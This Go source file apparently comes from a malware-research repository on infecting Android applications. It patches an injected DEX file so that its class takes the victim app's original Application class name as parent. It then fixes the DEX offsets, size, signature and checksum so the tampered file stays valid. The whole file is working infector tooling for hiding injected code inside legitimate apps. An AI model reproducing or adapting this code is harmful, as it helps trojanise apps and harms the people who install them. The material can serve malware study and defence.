VXUG-Papers/Infecting Android Applications The New Way/master/dex/patcher.go
2020-10-11 00:40:44 -05:00

210 lines
6.9 KiB
Go

package mydex
import (
"bytes"
"common"
"crypto/sha1"
"encoding/binary"
"hash/adler32"
"io/ioutil"
"log"
"manifest"
"path/filepath"
"strings"
)
const (
// DEX structure offsets
fileSizeOff = 0x20
mapOff = 0x34
dataSizeOff = 0x68
signatureOff = 0x20
checksumOff = 0xc
stringIdsCount = 0x3 //how many stringIds we should change
classDataOffOff = 0xe4 //map->class_def_item->class_data_off
classDataItemOffOff = 0x29c //map->class_data_item->offset
annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item
mapListOffOff = 0x2b4 //map->map_list->offset
posStringIdsChangedOff = 0x84
)
// this name is patched so we should make it
// as short as possible
//var placeholder = "La/a/a;"
var placeholder = "Lz/z/z;"
var placeholderLength = len(placeholder) + 1
var placeholderOff int
var dexPath, _ = filepath.Abs("InjectedApp.dex")
var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex")
// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files
func patchSignature(data []byte) {
signature := sha1.Sum(data[signatureOff:])
log.Printf("New DEX Signature = %x\n", signature)
// patch signature
for i := 0; i < 20; i++ {
data[0xc+i] = signature[i]
}
}
// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption
func patchChecksum(data []byte) {
checksum := adler32.Checksum(data[checksumOff:])
log.Printf("New DEX Checksum = %x\n", checksum)
// patch checksum
binary.LittleEndian.PutUint32(data[0x8:], checksum)
}
// Yes, dex uses sleb and uleb data types not uint32
// But we use our predictable DEX so we can ignore it
// What is changed in DEX after patching parent class?
// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format
/*
header_item->checksum
header_item->signature
header_item->file_size
header_item->map_off
header_item->data_size
string_id_item->string_data_off
map->class_def_item->class_data_off
string_data_item->utf16_size
map->class_data_item->offset
map->annotation_set_item->entries->annotation_off_item
map->map_list->offset
*/
// Do not forget about alignment of some structures!
func Patch() {
data, err := ioutil.ReadFile(dexPath)
if err != nil {
log.Panicf("DEX Failed to read %s", dexPath)
}
// calc offset to placeholder
placeholderOff = bytes.Index(data, []byte(placeholder))
log.Printf("placeholderOff = 0x%x\n", placeholderOff)
// we should add "L" and ";", and convert "."->"/" to be a normal DEX string
//tmpName := "z.z.zzzzzzzzzzzzzzzz"
oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";"
//oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";"
newAppName := oldAppNameNormalized + "\x00"
// patch string len (string_data_item->utf16_size)
// -1 - it's a position of len before every string in dex
data[placeholderOff - 1] = uint8(len(oldAppNameNormalized))
// how many bytes we added to DEX?
var sizeDiff uint32
sizeDiff = uint32(len(newAppName) - placeholderLength)
log.Printf("sizeDiff =0x%x", sizeDiff)
// how many align bytes we should add
var alignCount uint32
alignCount = 4 - (sizeDiff % 4)
if alignCount == 4 {
alignCount = 0
}
log.Printf("alignCount = 0x%x", alignCount)
// patch mapOff (header_item->map_off)
var oldMapOff uint32
oldMapOff = binary.LittleEndian.Uint32(data[mapOff:])
newMapOff := oldMapOff + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[mapOff:], newMapOff)
log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff)
// patch datasize (header_item->data_size)
var oldDataSize uint32
oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:])
newDataSize := oldDataSize + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize)
log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize)
// patch stringIds (string_id_item->string_data_off)
// stringIds - table of offsets to strings
// offsets counted from the start (0x0)
// posStringIdsChangedOff - position in our DEX from which we start changing
// we hardcoded it because we use our predictable DEX
var oldId uint32
stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:])
j := 0
for i := 0; i < stringIdsCount; i++ {
err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId)
if err != nil {
log.Panic("Failed to read stringId", err)
}
newId := oldId + sizeDiff
binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId)
j += 4
}
// patch map->class_def_item->class_data_off (4 byte)
classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:])
newClassDataOff := classDataOff + sizeDiff
binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff)
log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x",
classDataOffOff, classDataOff, newClassDataOff)
// patch map->class_data_item->offset (dont apply alignment)
classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:])
newClassDataItemOff := classDataItemOff + sizeDiff
binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff)
log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x",
classDataItemOffOff, classDataItemOff, newClassDataItemOff)
// patch map->annotation_set_item->entries->annotation_off_item
annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:])
newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem)
log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x",
annotationOffItemOff, annotationOffItem, newAnnotationOffItem)
//patch map->map_list->offset
mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:])
newMapListOff := mapListOff + sizeDiff + alignCount
binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff)
log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x",
mapListOffOff, mapListOff, newMapListOff)
// from now we start patching second half of DEX (after array of strings)
// but first we need to insert alignment bytes
if alignCount != 0 {
var alignSlice = make([]byte, alignCount)
var alignPos uint32 = 0x220
// insert byte alignment
data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...)
}
// insert new parent application name
data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...)
// patch new fileSize (header_item->file_size)
var fileSize = uint32(len(data))
binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize)
log.Printf("fileSize = 0x%x", fileSize)
patchSignature(data[0:])
patchChecksum(data[0:])
common.WriteChanges(data, dexPathNew)
}